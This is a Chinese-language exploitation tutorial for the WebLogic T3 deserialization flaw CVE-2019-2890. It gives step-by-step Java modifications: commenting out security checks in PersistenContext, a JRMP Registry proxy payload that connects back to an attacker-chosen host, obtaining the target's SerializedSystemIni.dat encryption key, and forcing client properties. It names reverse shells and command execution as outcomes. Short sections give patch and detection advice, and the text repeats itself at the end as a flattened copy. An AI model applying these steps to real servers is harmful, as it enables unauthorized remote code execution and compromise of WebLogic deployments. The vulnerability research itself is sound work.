Weblogic-T3-CVE-2019-2890-Analysis
字数 1363 2025-08-26 22:11:39

Weblogic T3 CVE-2019-2890 漏洞分析与利用教学文档

0x00 漏洞概述

CVE-2019-2890是Weblogic服务器中的一个反序列化漏洞,存在于T3协议中。该漏洞允许攻击者在授权状态下通过构造特殊的T3请求实现远程代码执行。漏洞评级为高危,主要影响Weblogic 10.3.6和12版本。

0x01 漏洞原理

关键点分析

  1. 反序列化入口:漏洞存在于PersistenContext类的readSubject方法中

  2. 触发路径

    • 读取var1中的反序列化数据
    • 调用EncryptionUtil.decrypt方法进行解密
    • 触发反序列化操作
  3. 补丁对比

    • 修复方式:在resolveClassresolveProxyClass处增加黑名单校验
    • 与之前修复的T3反序列化漏洞类似(如StreamMessageImplMarshalledObject等)

0x02 环境准备

所需JAR文件

Weblogic 10.3.6环境需要以下JAR文件(12版本可能名称不同):

com.bea.core.logging_1.9.0.0.jar
com.bea.core.management.core_2.9.0.1.jar
com.oracle.core.weblogic.msgcat_1.2.0.0.jar
cryptoj.jar
glassfish.jaxb_1.1.0.0_2-1-14.jar
weblogic.jar
wlthint3client.jar

0x03 漏洞利用步骤

1. 重写PersistenContext类

需要绕过PersistenContext中的安全检查:

// 原代码中有if检查会抛出NotSupportedException异常
if (...) {
    throw new com.bea.core.security.managers.NotSupportedException();
}
// 解决方案:注释掉这个if检查

2. 改造writeSubject方法

将正常的写入对象替换为恶意对象(建议使用JRMP对象):

public static Registry getObject(String command) throws Exception {
    int sep = command.indexOf(58);
    String host;
    int port;
    if (sep < 0) {
        port = (new Random()).nextInt(65535);
        host = command;
    } else {
        host = command.substring(0, sep);
        port = Integer.valueOf(command.substring(sep + 1));
    }
    ObjID id = new ObjID((new Random()).nextInt());
    TCPEndpoint te = new TCPEndpoint(host, port);
    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
    Registry proxy = (Registry) Proxy.newProxyInstance(
        ysoserial.payloads.JRMPClient.class.getClassLoader(),
        new Class[]{Registry.class}, 
        obj
    );
    return proxy;
}

3. 处理加密问题

需要解决两个加密相关的问题:

问题1KernelStatus.isServer()检查

if (KernelStatus.isServer()) {
    var5 = EncryptionUtil.encrypt(var5);
}

解决方案1

KernelStatus.setIsServer(true); // 设置状态为true

解决方案2(更直接):
重写EncryptionUtil类,将getEncryptionService方法改为public:

public static EncryptionService getEncryptionService() {
    return ...;
}

4. 加密Key处理

需要目标Weblogic的SerializedSystemIni.dat文件:

  1. 从目标Weblogic服务器获取该文件
  2. 在本地创建security目录
  3. 将文件放入该目录

5. 解决序列化卡死问题

修改SubjectManager类的检查:

// 原检查
private static final boolean ceClient = "true".equalsIgnoreCase(
    System.getProperty("com.bea.core.internal.client", "false")
);

// 解决方案
System.setProperty("com.bea.core.internal.client", "true");

0x04 漏洞修复方案

Oracle官方修复方式:

  • resolveClass处增加黑名单检查
  • 与之前修复的其他T3反序列化漏洞采用相同策略

0x05 调试记录

关键调试点

  1. 反序列化流程

    • PersistenContext.readSubject()
    • EncryptionUtil.decrypt()
    • 最终触发恶意对象反序列化
  2. 加密流程

    • 注意SerializedSystemIni.dat的加载过程
    • 加密服务的初始化过程
  3. 绕过检查

    • KernelStatus.isServer()
    • SubjectManager.getSubjectManager()

0x06 漏洞验证

成功利用后将可执行任意代码,例如:

  • 弹出计算器(Windows)
  • 建立反向shell
  • 执行系统命令

0x07 参考建议

  1. 防护措施

    • 及时安装Oracle官方补丁
    • 限制T3协议的外部访问
    • 使用Weblogic最新版本
  2. 检测方法

    • 检查是否存在SerializedSystemIni.dat泄露
    • 监控异常T3请求
  3. 研究建议

    • 分析Weblogic历史T3反序列化漏洞
    • 研究不同版本间的补丁差异
    • 探索无文件利用方式

附录:完整利用代码结构

Weblogic_CVE-2019-2890_Exploit/
│
├── lib/                  # 所需JAR文件
│   ├── weblogic.jar
│   ├── cryptoj.jar
│   └── ...
│
├── security/             # 加密文件目录
│   └── SerializedSystemIni.dat
│
└── src/                  # 源代码
    ├── PersistenContext.java    # 修改后的类
    ├── EncryptionUtil.java      # 修改后的工具类
    └── Exploit.java             # 主利用类
Weblogic T3 CVE-2019-2890 漏洞分析与利用教学文档 0x00 漏洞概述 CVE-2019-2890是Weblogic服务器中的一个反序列化漏洞,存在于T3协议中。该漏洞允许攻击者在授权状态下通过构造特殊的T3请求实现远程代码执行。漏洞评级为高危,主要影响Weblogic 10.3.6和12版本。 0x01 漏洞原理 关键点分析 反序列化入口 :漏洞存在于 PersistenContext 类的 readSubject 方法中 触发路径 : 读取var1中的反序列化数据 调用 EncryptionUtil.decrypt 方法进行解密 触发反序列化操作 补丁对比 : 修复方式:在 resolveClass 或 resolveProxyClass 处增加黑名单校验 与之前修复的T3反序列化漏洞类似(如 StreamMessageImpl 、 MarshalledObject 等) 0x02 环境准备 所需JAR文件 Weblogic 10.3.6环境需要以下JAR文件(12版本可能名称不同): 0x03 漏洞利用步骤 1. 重写PersistenContext类 需要绕过 PersistenContext 中的安全检查: 2. 改造writeSubject方法 将正常的写入对象替换为恶意对象(建议使用JRMP对象): 3. 处理加密问题 需要解决两个加密相关的问题: 问题1 : KernelStatus.isServer() 检查 解决方案1 : 解决方案2 (更直接): 重写 EncryptionUtil 类,将 getEncryptionService 方法改为public: 4. 加密Key处理 需要目标Weblogic的 SerializedSystemIni.dat 文件: 从目标Weblogic服务器获取该文件 在本地创建security目录 将文件放入该目录 5. 解决序列化卡死问题 修改 SubjectManager 类的检查: 0x04 漏洞修复方案 Oracle官方修复方式: 在 resolveClass 处增加黑名单检查 与之前修复的其他T3反序列化漏洞采用相同策略 0x05 调试记录 关键调试点 反序列化流程 : PersistenContext.readSubject() EncryptionUtil.decrypt() 最终触发恶意对象反序列化 加密流程 : 注意 SerializedSystemIni.dat 的加载过程 加密服务的初始化过程 绕过检查 : KernelStatus.isServer() SubjectManager.getSubjectManager() 0x06 漏洞验证 成功利用后将可执行任意代码,例如: 弹出计算器(Windows) 建立反向shell 执行系统命令 0x07 参考建议 防护措施 : 及时安装Oracle官方补丁 限制T3协议的外部访问 使用Weblogic最新版本 检测方法 : 检查是否存在 SerializedSystemIni.dat 泄露 监控异常T3请求 研究建议 : 分析Weblogic历史T3反序列化漏洞 研究不同版本间的补丁差异 探索无文件利用方式 附录:完整利用代码结构